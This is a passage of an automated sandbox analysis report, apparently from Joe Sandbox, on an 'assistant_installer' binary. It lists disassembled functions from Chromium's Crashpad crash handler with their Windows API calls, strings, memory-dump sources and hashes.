68562->68596 68565 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68566 7d6480 68565->68566 68566->68476 68566->68477 68566->68492 68567->68492 68568->68519 68569->68533 68570->68545 68571->68556 68572->68481 68573->68492 68574->68508 68575->68522 68576->68540 68577->68514 68578->68527 68579->68540 68580->68503 68581->68517 68582->68524 68583->68537 68584->68540 68585->68542 68586->68538 68587->68548 68588->68542 68589->68552 68590->68540 68591->68492 68593->68483 68594->68500 68595->68500 68598 7d636a 68596->68598 68600 7d6337 68596->68600 68597 7d63e2 68599 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68597->68599 68598->68597 68602 7d638d 68598->68602 68601 7d63ee 68599->68601 68600->68597 68600->68598 68614 7d6537 132 API calls 68600->68614 68615 7ac794 132 API calls 68600->68615 68601->68565 68616 73bec0 125 API calls 68602->68616 68604 7d63a5 68617 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68604->68617 68606 7d63b8 68618 71a3e0 125 API calls 68606->68618 68608 7d63c3 68619 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68608->68619 68610 7d63d0 68620 71a3e0 125 API calls 68610->68620 68612 7d63db 68621 73c2a0 125 API calls 5 library calls 68612->68621 68614->68600 68615->68600 68616->68604 68617->68606 68618->68608 68619->68610 68620->68612 68621->68597 68622->67968 68624 7f8afc 68623->68624 68630 7f8aec 68623->68630 68635 7f8b30 68623->68635 68633 78d580 126 API calls 68624->68633 68625 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68627 7e7cfa 68625->68627 68627->67986 68628 7f8b0c 68634 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68628->68634 68630->68625 68633->68628 68634->68630 68636 7f8b3b 68635->68636 68638->67253 68639->67257 68640->66879 68641->66902 68642->66901 68643->66897 68644->66902 68646 732225 68645->68646 68647 73225a 23 API calls 68646->68647 68648 73223a 68647->68648 68648->66912 68648->66916 68650->66921 68653 7359b0 68651->68653 68652 7313a0 23 API calls 68655 735a14 68652->68655 68653->68652 68653->68655 68654 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68656 735bc3 68654->68656 68655->68654 68656->66934 68657->66936 68658->66948 68661 758c40 68659->68661 68660 758c65 68660->66948 68661->68660 68665 78fa70 EnterCriticalSection LeaveCriticalSection ___std_exception_copy 68661->68665 68663->66955 68664->66954 68665->68661

                                                                                                                                                                                                                Executed Functions

                                                                                                                                                                                                                Function 007B206C Relevance: 60.7, APIs: 14, Strings: 20, Instructions: 1183COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(007B31D0), ref: 007B2092
                                                                                                                                                                                                                • SetConsoleCtrlHandler.KERNEL32(007B31B0,00000001), ref: 007B20A4
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B20ED
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B22D4
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B22F5
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B235B
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B237C
                                                                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(007B31D0,?,?,?,?,?,?,?,00000001,00000000,?,?,--no-periodic-tasks), ref: 007B29C6
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B2A5B
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B2A77
                                                                                                                                                                                                                • SetProcessShutdownParameters.KERNEL32(00000100,00000001), ref: 007B2CF9
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 007B2F17
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 007B2F50
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B3014
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • --no-periodic-tasks, xrefs: 007B2819
                                                                                                                                                                                                                • --initial-client-data or --pipe-name is required, xrefs: 007B2B8C
                                                                                                                                                                                                                • has duplicate key , xrefs: 007B302D
                                                                                                                                                                                                                • failed to parse --initial-client-data, xrefs: 007B2AD5
                                                                                                                                                                                                                • --monitor-self-annotation, xrefs: 007B2317
                                                                                                                                                                                                                • Usage: %ls [OPTION]...Crashpad's exception handler server. --annotation=KEY=VALUE set a process annotation in each crash report --attachment=FILE_PATH attach specified file to each crash report at the time of the c, xrefs: 007B26EF
                                                                                                                                                                                                                • CrashpadMetrics, xrefs: 007B2DFA, 007B2E22
                                                                                                                                                                                                                • , discarding value , xrefs: 007B3061
                                                                                                                                                                                                                • --database is required, xrefs: 007B2AE6
                                                                                                                                                                                                                • --monitor-self, xrefs: 007B27A8
                                                                                                                                                                                                                • SetProcessShutdownParameters, xrefs: 007B2D32
                                                                                                                                                                                                                • --no-rate-limit, xrefs: 007B284B
                                                                                                                                                                                                                • --initial-client-data and --pipe-name are incompatible, xrefs: 007B26B5
                                                                                                                                                                                                                • --annotation, xrefs: 007B224E
                                                                                                                                                                                                                • --monitor-self-argument=--monitor-self is not supported, xrefs: 007B2EF8
                                                                                                                                                                                                                • --no-upload-gzip, xrefs: 007B287D
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/handler/handler_main.cc, xrefs: 007B2D23, 007B2EE9, 007B3002
                                                                                                                                                                                                                • --monitor-self-annotation=%s=%s, xrefs: 007B28CC
                                                                                                                                                                                                                • --no-identify-client-via-url, xrefs: 007B27F0
                                                                                                                                                                                                                • !#{, xrefs: 007B3010, 007B3013, 007B301D
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen$ExceptionFilterUnhandled$ConsoleCtrlHandlerInit_thread_footerInit_thread_headerParametersProcessShutdown
                                                                                                                                                                                                                • String ID: has duplicate key $!#{$, discarding value $--annotation$--database is required$--initial-client-data and --pipe-name are incompatible$--initial-client-data or --pipe-name is required$--monitor-self$--monitor-self-annotation$--monitor-self-annotation=%s=%s$--monitor-self-argument=--monitor-self is not supported$--no-identify-client-via-url$--no-periodic-tasks$--no-rate-limit$--no-upload-gzip$../../third_party/crashpad/crashpad/handler/handler_main.cc$CrashpadMetrics$SetProcessShutdownParameters$Usage: %ls [OPTION]...Crashpad's exception handler server. --annotation=KEY=VALUE set a process annotation in each crash report --attachment=FILE_PATH attach specified file to each crash report at the time of the c$failed to parse --initial-client-data
                                                                                                                                                                                                                • API String ID: 3033975033-719561574
                                                                                                                                                                                                                • Opcode ID: b9826013f2013eb1516498b28d8996868af9983b7e0174a50215d92ed6f23535
                                                                                                                                                                                                                • Instruction ID: de0ecd9d1804a03d4a0555897857ca54f3b67e19426af305130bd7db4f4bd6d6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b9826013f2013eb1516498b28d8996868af9983b7e0174a50215d92ed6f23535
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 53A2E2B1601B409FE721EF34C885BE7B7E5BF55300F04492DE49A97282EB38B94AC752
                                                                                                                                                                                                                Function 007E6D0E Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 284synchronizationthreadCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 754 7e6d0e-7e6d45 call 741b20 757 7e6d49-7e6d5f 754->757 757->757 758 7e6d61-7e6d78 757->758 759 7e6d7a-7e6d88 758->759 760 7e6d8a-7e6d91 759->760 761 7e6d93-7e6d9b call 7acb18 759->761 762 7e6dae-7e6e1a call 8293de CreateThread call 76b0fc 760->762 765 7e6da0-7e6da8 761->765 773 7e6e1c-7e6e2b 762->773 774 7e6e33-7e6e64 call 78d580 call 78d550 call 6f1741 call 78d560 762->774 765->762 767 7e6e66-7e6e9e call 78d580 call 78d550 call 6f1741 call 78d560 765->767 767->762 773->759 776 7e6e31-7e6eaa 773->776 774->773 787 7e6eae-7e6eda GetQueuedCompletionStatus 776->787 789 7e6edc-7e6eeb TryAcquireSRWLockExclusive 787->789 790 7e6f38 787->790 793 7e6f4e-7e6f56 call 7568f0 789->793 794 7e6eed-7e6f01 call 7e78ee 789->794 792 7e6f3d-7e6f3f 790->792 792->787 796 7e6f45-7e6f60 792->796 793->794 803 7e6f13-7e6f1b 794->803 804 7e6f03-7e6f10 call 7e716a call 82945e 794->804 805 7e6f61-7e6fa3 call 7ac8a4 796->805 808 7e6f1d-7e6f25 803->808 809 7e6f27 803->809 804->803 811 7e6fa8-7e6fb3 805->811 808->809 812 7e6f47-7e6f4c 808->812 813 7e6f29-7e6f36 ReleaseSRWLockExclusive 809->813 811->805 815 7e6fb5-7e6fba 811->815 812->813 813->792 817 7e6fc0-7e6fce WaitForSingleObject 815->817 817->817 818 7e6fd0-7e6fdb TryAcquireSRWLockExclusive 817->818 819 7e7084-7e708c call 7568f0 818->819 820 7e6fe1-7e6fed 818->820 819->820 821 7e6fef-7e6ff4 820->821 822 7e7033-7e7057 call 711700 ReleaseSRWLockExclusive 820->822 826 7e7006-7e700b 821->826 827 7e6ff6-7e7003 call 7e716a call 82945e 821->827 835 7e705c-7e706d call 76acee 822->835 830 7e700d-7e7013 826->830 831 7e7017-7e701c 826->831 827->826 830->830 832 7e7015 830->832 833 7e701e 831->833 834 7e702d-7e7031 831->834 832->834 837 7e7021-7e702b 833->837 834->821 834->822 842 7e706f-7e7081 call 8294aa 835->842 837->834 837->837
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateThread.KERNELBASE(00000000,00000000,Function_000F70A0,00000000,00000000,00000000), ref: 007E6E01
                                                                                                                                                                                                                • GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 007E6ECE
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32 ref: 007E6EE3
                                                                                                                                                                                                                  • Part of subcall function 007ACB18: GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 007ACB49
                                                                                                                                                                                                                  • Part of subcall function 007ACB18: CreateNamedPipeW.KERNELBASE ref: 007ACBA4
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?,?), ref: 007E6F30
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?), ref: 007E6FC6
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 007E6FD3
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 007E7051
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • CreateThread, xrefs: 007E6E4F
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/win/exception_handler_server.cc, xrefs: 007E6E38, 007E6E6B
                                                                                                                                                                                                                • CreateNamedPipe, xrefs: 007E6E86
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireCreateRelease$CompletionNamedObjectPipeQueuedSingleStatusThreadVersionWait
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/win/exception_handler_server.cc$CreateNamedPipe$CreateThread
                                                                                                                                                                                                                • API String ID: 995286921-1199881885
                                                                                                                                                                                                                • Opcode ID: 14f3da68d59f98fb7f00b32524c0844ec1c66d2f99893a3e17f954b4ab1d23ae
                                                                                                                                                                                                                • Instruction ID: 029660bef93535309c6c777fd006de260b0de3ca032df5c9ba476ef066c06777
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 14f3da68d59f98fb7f00b32524c0844ec1c66d2f99893a3e17f954b4ab1d23ae
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BBB1BEB1A09340DFC714EF29D884A1ABBE0FF98350F054A2EF89987291D739D944CB92
                                                                                                                                                                                                                Function 00837C65 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32(0083D9F7,?,00837D1D,0083C03F,?,0083D9F7,0083C03F,0083D9F7,00000003), ref: 00837C87
                                                                                                                                                                                                                • TerminateProcess.KERNEL32(00000000,?,00837D1D,0083C03F,?,0083D9F7,0083C03F,0083D9F7,00000003), ref: 00837C8E
                                                                                                                                                                                                                • ExitProcess.KERNEL32 ref: 00837CA0
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Process$CurrentExitTerminate
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1703294689-0
                                                                                                                                                                                                                • Opcode ID: d4866b9e7839354765e93217274e0fd95a995ad7f78300375451fa3b6cc9548e
                                                                                                                                                                                                                • Instruction ID: da58e14ebba811ac690d0f498e6f0ee1987a1f4dc41d0a111bb1db95b0c06ea8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: d4866b9e7839354765e93217274e0fd95a995ad7f78300375451fa3b6cc9548e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6AE0B671014648EFCF267F68DE499893B69FB85345F044815F909DA131CB39DD82DBD2
                                                                                                                                                                                                                Function 007E71A2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 391COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 514 7e71a2-7e71ed call 7d6443 517 7e763f 514->517 518 7e71f3-7e71fb 514->518 521 7e7641-7e7657 call 8294aa 517->521 519 7e71fd-7e7200 518->519 520 7e724b-7e7252 518->520 525 7e7206-7e7209 519->525 526 7e7441-7e7451 519->526 523 7e7258-7e7273 520->523 524 7e7501-7e750d call 73be20 520->524 529 7e76da-7e76ee call 8294e7 523->529 530 7e7279-7e7280 523->530 524->517 545 7e7513-7e7562 call 73bec0 call 6f1741 call 71a200 call 6f1741 call 71a200 524->545 532 7e720f-7e7223 525->532 533 7e7461-7e746d call 73be20 525->533 527 7e7454-7e745c call 7d6489 526->527 527->521 529->530 558 7e76f4-7e771a call 7ad41c call 82955d 529->558 538 7e72aa-7e72c1 OpenProcess 530->538 539 7e7282-7e7296 530->539 534 7e74ae-7e74ba call 73be20 532->534 535 7e7229-7e7246 call 7d6489 532->535 533->517 551 7e7473-7e74a9 call 73bec0 call 6f1741 call 71a3e0 533->551 534->517 560 7e74c0-7e74fc call 73bec0 call 6f1741 call 71a7a0 534->560 535->521 546 7e7567-7e7572 ImpersonateNamedPipeClient 538->546 547 7e72c7-7e72e3 TryAcquireSRWLockExclusive 538->547 539->538 565 7e7298-7e72a4 539->565 620 7e7638-7e763a call 73c2a0 545->620 552 7e7658-7e7664 call 73be20 546->552 553 7e7578-7e7595 OpenProcess RevertToSelf 546->553 556 7e769e-7e76a6 call 7568f0 547->556 557 7e72e9-7e743f call 8293de CreateEventW * 3 call 7e6c48 call 716d44 ReleaseSRWLockExclusive call 7e771f call 75ab30 call 7e771f call 75ab30 call 7e771f call 75ab30 547->557 551->620 552->517 583 7e7666-7e769c call 73c840 call 73c9e0 call 6f1741 call 73ca90 552->583 563 7e76ab-7e76d5 call 78d580 call 78d550 call 78d560 553->563 564 7e759b-7e759d 553->564 556->563 557->527 558->530 560->620 563->529 564->547 575 7e75a3-7e75af call 73be20 564->575 565->538 576 7e75d7-7e75e3 call 73be20 565->576 575->517 605 7e75b5-7e75d5 call 73bec0 575->605 576->517 599 7e75e5-7e761d call 73bec0 call 6f1741 call 71a3e0 576->599 583->517 627 7e7622-7e7633 call 6f1741 call 71a3e0 599->627 605->627 620->517 627->620
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 007E72B7
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(?), ref: 007E72DB
                                                                                                                                                                                                                • CreateEventW.KERNEL32 ref: 007E7320
                                                                                                                                                                                                                • CreateEventW.KERNEL32 ref: 007E7340
                                                                                                                                                                                                                • CreateEventW.KERNEL32 ref: 007E735E
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?,?,?,?), ref: 007E73DD
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 007E76DF
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 007E7712
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateEvent$ExclusiveLock$AcquireInit_thread_footerInit_thread_headerOpenProcessRelease
                                                                                                                                                                                                                • String ID: expecting: $, got: $../../third_party/crashpad/crashpad/util/win/exception_handler_server.cc$::GetNamedPipeClientProcessId$ImpersonateNamedPipeClient$failed to open $forged client pid, real pid: $forged shutdown request, got: $kernel32.dll$unexpected version. got: $unhandled message type: $p~
                                                                                                                                                                                                                • API String ID: 2343459898-3869998660
                                                                                                                                                                                                                • Opcode ID: 28c14cdbf00e481bd2eeed56e054c7f453ddcbca96701a20470d8496a56a678d
                                                                                                                                                                                                                • Instruction ID: 6d9dbcced76d452eb68aa6375617a94a5a3bb7b9f6cfc4fb62f15e2d85344fad
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 28c14cdbf00e481bd2eeed56e054c7f453ddcbca96701a20470d8496a56a678d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: EDE10470641B40EBD714AF39C846FA6B7A1FF58300F00852DF95A9BA92EB74F854CB81
                                                                                                                                                                                                                Function 007AC8A4 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 185pipefileCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateFileW.KERNELBASE ref: 007AC8EF
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 007AC8F6
                                                                                                                                                                                                                • WaitNamedPipeW.KERNEL32(?,000000FF), ref: 007AC914
                                                                                                                                                                                                                • SetNamedPipeHandleState.KERNELBASE(00000000,?,00000000,00000000), ref: 007AC972
                                                                                                                                                                                                                • TransactNamedPipe.KERNELBASE(00000000,?,00000024,0076C428,0000000C,?,00000000), ref: 007AC995
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: NamedPipe$CreateErrorFileHandleLastStateTransactWait
                                                                                                                                                                                                                • String ID: , observed $../../third_party/crashpad/crashpad/util/win/registration_protocol_win.cc$CreateFile$SetNamedPipeHandleState$TransactNamedPipe$TransactNamedPipe: expected $WaitNamedPipe
                                                                                                                                                                                                                • API String ID: 3582518244-3702053020
                                                                                                                                                                                                                • Opcode ID: e3d7ed0263b5851f93d8e3eb32601a6d4b6ed38fe788cce19c7cc5ad8a6fff3f
                                                                                                                                                                                                                • Instruction ID: 241f89a6ce4960072ec17f41454f4833ff5375b20b0a54ef3d443caa0f4b0e98
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e3d7ed0263b5851f93d8e3eb32601a6d4b6ed38fe788cce19c7cc5ad8a6fff3f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9851EC61A40318FAFB21F7609C0BFBE775AAF81710F044155FA49BA2C3D7B95A448762
                                                                                                                                                                                                                Function 00756AE0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 82threadlibraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 723 756ae0-756b1e call 78df60 call 78e230 728 756b20-756b28 723->728 729 756b9f-756bb3 call 8294e7 723->729 730 756b6b-756b73 IsDebuggerPresent 728->730 731 756b2a-756b32 728->731 729->728 738 756bb9-756be2 GetModuleHandleW GetProcAddress call 82955d 729->738 734 756b75-756b79 730->734 735 756b8d-756b9e call 8294aa 730->735 736 756b34-756b36 731->736 737 756b39-756b4b call 748e60 731->737 739 756b7d-756b8a GetCurrentThreadId call 756bf0 734->739 740 756b7b 734->740 736->737 747 756b50-756b5e GetCurrentThread SetThreadDescription 737->747 748 756b4d 737->748 738->728 739->735 740->739 747->730 751 756b60-756b68 call 82945e 747->751 748->747 751->730
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 0078E230: TryAcquireSRWLockExclusive.KERNEL32(00000000,'v,?,?,?,00756B03,'v,?,?,0076E527,?), ref: 0078E251
                                                                                                                                                                                                                • GetCurrentThread.KERNEL32 ref: 00756B50
                                                                                                                                                                                                                • SetThreadDescription.KERNELBASE(00000000,?,?,?,?,'v,?,?,0076E527,?), ref: 00756B58
                                                                                                                                                                                                                • IsDebuggerPresent.KERNEL32('v,?,?,0076E527,?), ref: 00756B6B
                                                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 00756B7D
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00756BA4
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(Kernel32.dll,'v,?,?,0076E527,?), ref: 00756BBE
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 00756BCA
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00756BDA
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Thread$Current$AcquireAddressDebuggerDescriptionExclusiveHandleInit_thread_footerInit_thread_headerLockModulePresentProc
                                                                                                                                                                                                                • String ID: 'v$Kernel32.dll$SetThreadDescription
                                                                                                                                                                                                                • API String ID: 2812395754-1146536981
                                                                                                                                                                                                                • Opcode ID: 287fc132461a4c96ff356f33a734e952ed44dfaa988bbc27f2fdd3aac7e6ec6f
                                                                                                                                                                                                                • Instruction ID: ead3ba05b22071729c2ac96c563c4e23c8a42b1e8d4517dda9c9e4afffd3d5d4
